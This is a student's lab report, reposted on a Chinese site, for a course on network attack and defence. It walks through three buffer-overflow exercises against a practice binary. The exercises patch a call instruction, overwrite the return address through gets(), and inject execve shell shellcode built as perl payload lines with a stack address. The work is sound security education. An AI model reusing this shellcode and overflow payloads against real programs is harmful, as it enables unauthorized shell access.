20222327 2024-2025-1 《网络与系统攻防技术》实验一实验报告

news/2024/10/9 18:04:00

一.实验内容

1.了解Linux系统下的基本操作命令,能够处理一些命令出现的error。
2.掌握了栈与堆的概念以及在进程内存管理中的应用。
3.了解基本的汇编语言指令及其功能。
4.能够深刻理解BoF的原理以及如何运用payload完成BoF的攻击

二.实验过程

任务一 直接修改程序机器指令,改变程序执行流程!

1.通过wincp将文件上传到虚拟机中,将文件改名为pwn20222327后运行objdump -d pwn20222327 | more

2.查找getShell、foo、main函数,图中标注为main函数中需要更改的机器指令

3.由于需要修改到getShell函数的返回地址,同时此处机器指令为补码,所以应该用该条指令的下一地址减去getShell的返回地址即用
4ba-47d,结果为ffffffc3,所以需要将此处标注的d7修改为c3


上图为已经改好的文件,可见此时已经可以访问getShell函数

(任务一与后续任务运行环境不一样,所以会造成界面不同,原因在最后会给出)

任务二 通过构造输入参数,造成BOF攻击,改变程序执行流

1.将未修改为文件改名为pwn20222327_2,打开该文件

标注区域显示需要将在堆栈移动0x1c个空间用作缓冲区,在这些空间后需要执行gets操作,存在缓冲区漏洞,我们可以利用漏洞用getShell的返回地址来进行覆盖,进而达到运行getShell函数的目的

我们可以启动gdb来测试什么样的字符串会使这一程序出现错误

我们先输入5555555566666666777777778888888899999999来试验

可以发现eip中为0x39393939

由于我们需要执行getShell函数,所以在实验字符串的基础上我们只需要将原先99999999的位置替换为getShell的返回地址0x0804847d

我们此时需要确定字节的顺序,所以我们用5555555566666666777777778888888898765432来进行检测


由此看见是反向地址,所以我们需要构造55555555666666667777777788888888\x7d\x84\x04\x08\x0a,但是键盘无法输入16进制
所以通过perl构造输入文件input,同时检验input文件是否为设想的字符串

由图可知是符合预期的,此时需要将文件输入运行的程序当中

此时发现运行了getShell证明操作正确,符合预期

任务三 注入Shellcode并执行

1.首先进行stack的设置

2.构造需要注入的payload

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

此时打开另一终端查看进程PID

启动gdb进行调试

设置断点查看buf的地址

在另一终端中回车

和0x01020304挨着的就是我们所要寻找的返回地址的位置,即0xffffcfb0,则
perl -e 'print "A" x 32;print "\xb0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

由上图可知getShell成功运行,试验成功!

三、问题及解决方案

  • 问题1:起初开开心心的用virtualbox上安装openEUler完成了任务一,想着到实验课上完成后续实验,结果在实验课上直接给了我一个惊喜,virtualbox再次提醒我需要重装软件(在之前已经出现过此类问题)
    问题1解决方案:直接卸载,用VMware安装kali系统完成任务二和任务三

  • 问题2:虚拟机缺少gdb导致任务二无法进行

    问题2解决方案:将报错代码粘贴给大模型,直接用大模型给出的代码安装apt和gdb


进行apt的更新

进行gdb的下载

  • 问题3:缺少execstack
    问题3解决方案:从同学那里白嫖了一个execstack安装文件,直接通过sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb 命令进行安装

四、学习感悟、思考等

第一次实验一波三折,主要的实验内容还没有触及的时候先出现的是配置环境和任务所需要的工具配置,配置好环境已经消耗了很多的时间,而后在进行实验内容时就相对较为顺利,因为有老师的讲解、博客上的一步一步的指导以及同学们的帮助。同时我也第一次对缓冲区溢出的攻击有了一个清晰的认知,无论从自己的攻击过程还是一步一步地调试和分析,都需要很多知识的储备,也提醒了我在之后编写程序时需要注意避免缓冲区溢出的漏洞。(尽管写出来的程序没有很大的应用,但是也是一个需要注意的问题)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/69478.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

春秋云镜 Privilege

春秋云镜 Privilege上来先用fscan扫一下.___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| __/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan ve…

AI在不同领域的应用与行业影响

本文将探讨AI在不同技术领域和行业中的广泛应用,以及这些应用如何影响和改变我们的世界。 I. 引言 AI技术正日益渗透到各个技术领域,从计算机视觉到自然语言处理,再到音频处理,AI的应用正变得越来越广泛。这些技术的发展不仅推动了科学研究的进步,也在实际应用中展现出巨大…

多态和继承

继承:通常意思就是儿子可以继承父亲的东西,在java里面也是一样的,当我们在同一个包内有多个类的成员变量/方法相同时可以使用继承,只可以在子非静态方法使用 继承就是把相同的成员变量/成员方法放在一个类中,然后使用extends这个关键字来让一个类来继承另一类从而达到代码…

自然人社工

人,是网络安全全流程中最大的弱点。针对人的攻击往往有出奇不意的效果。而想要利用人的弱点进行攻击,那么对目标的信息收集与了解就是非常重要的了。这篇文章记录了一些常用的用于对人进行身份信息收集的技术。这些技术常被用于溯源取证、社工攻击。 0x00 社工分析中的身份信…

检测到 #include 错误。请更新 includePath问题

目录include文件地址需要在命令行使用g++ -v -E -x c++ -去找g++ -v -E -x c++ - 检测到 #include 错误。请更新 includePath问题多用组合、少用继承基于接口而非实现进行编程

Apache DolphinScheduler社区9月进展记录

各位热爱 Apache DolphinScheduler 的小伙伴们,社区 9 月月报更新啦!这里将记录 Apache DolphinScheduler 社区每月的重要更新,欢迎关注! 月度 Merge Star 感谢以下小伙伴上个月为 Apache DolphinScheduler 做的精彩贡献(排名不分先后):@Mighten,@ChaoquanTao,@wangxj3,…